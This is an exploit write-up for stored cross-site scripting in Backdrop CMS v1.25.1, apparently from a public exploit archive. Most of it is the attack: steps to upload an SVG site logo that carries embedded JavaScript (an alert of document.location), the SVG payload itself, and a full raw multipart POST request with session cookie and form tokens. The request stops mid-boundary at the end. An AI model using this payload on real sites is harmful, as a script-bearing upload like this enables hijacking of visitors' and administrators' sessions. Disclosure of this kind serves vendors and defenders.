#Exploit Title: Backdrop Cms v1.25.1 - Stored Cross-Site Scripting (XSS)
#Application: Backdrop Cms
#Version: v1.25.1
#Bugs:  Stored Xss
#Technology: PHP
#Vendor URL: https://backdropcms.org/
#Software Link: https://github.com/backdrop/backdrop/releases/download/1.25.1/backdrop.zip
#Date of found: 12-07-2023
#Author: Mirabbas Ağalarov
#Tested on: Linux 

2. Technical Details & POC
========================================

1. login to account
2. go to http://localhost/backdrop/?q=admin/config/system/site-information
3. upload svg file

"""
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.location);
   </script>
</svg>
"""
4. go to svg file (http://localhost/backdrop/files/malas_2.svg)


Request

POST /backdrop/?q=admin/config/system/site-information HTTP/1.1
Host: localhost
Content-Length: 2116
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVXWRsHHM3TVjALpg
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/backdrop/?q=admin/config/system/site-information
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: SESS31b3aee8377692ae3f36f0cf7fe0e752=ZuJtSS2iu5SvcKAFtpK8zPAxrnmFebJ1q26hXhAh__E
Connection: close

------WebKitFormBoundaryVXWRsHHM3TVjALpg
Content-Disposition: form-data; name="site_name"

My Backdrop Site
------WebKitFormBoundaryVXWRsHHM3TVjALpg
Content-Disposition: form-data; name="site_slogan"


------WebKitFormBoundaryVXWRsHHM3TVjALpg
Content-Disposition: form-data; name="site_mail"

admin@admin.com
------WebKitFormBoundaryVXWRsHHM3TVjALpg
Content-Disposition: form-data; name="files[site_logo_upload]"; filename="malas.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.location);
   </script>
</svg>

------WebKitFormBoundaryVXWRsHHM3TVjALpg
Content-Disposition: form-data; name="site_logo_path"


------WebKitFormBoundaryVXWRsHHM3TVjALpg
Content-Disposition: form-data; name="files[site_favicon_upload]"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryVXWRsHHM3TVjALpg
Content-Disposition: form-data; name="site_favicon_path"

core/misc/favicon.ico
------WebKitFormBoundaryVXWRsHHM3TVjALpg
Content-Disposition: form-data; name="site_frontpage"

home
------WebKitFormBoundaryVXWRsHHM3TVjALpg
Content-Disposition: form-data; name="site_403"


------WebKitFormBoundaryVXWRsHHM3TVjALpg
Content-Disposition: form-data; name="site_404"


------WebKitFormBoundaryVXWRsHHM3TVjALpg
Content-Disposition: form-data; name="form_build_id"

form-PnR6AFEKCB5hAWH3pDT2J0kkZswH0Rdm0qbOFGqNj-Q
------WebKitFormBoundaryVXWRsHHM3TVjALpg
Content-Disposition: form-data; name="form_token"

siOWtyEEFVg7neDMTYPHVZ2D3D5U60S38l_cRHbnW40
------WebKitFormBoundaryVXWRsHHM3TVjALpg
Content-Disposition: form-data; name="form_id"

system_site_information_settings
------WebKitFormBoundaryVXWRsHHM3TVjALpg
Content-Disposition: form-data; name="op"

Save configuration
------WebKitForm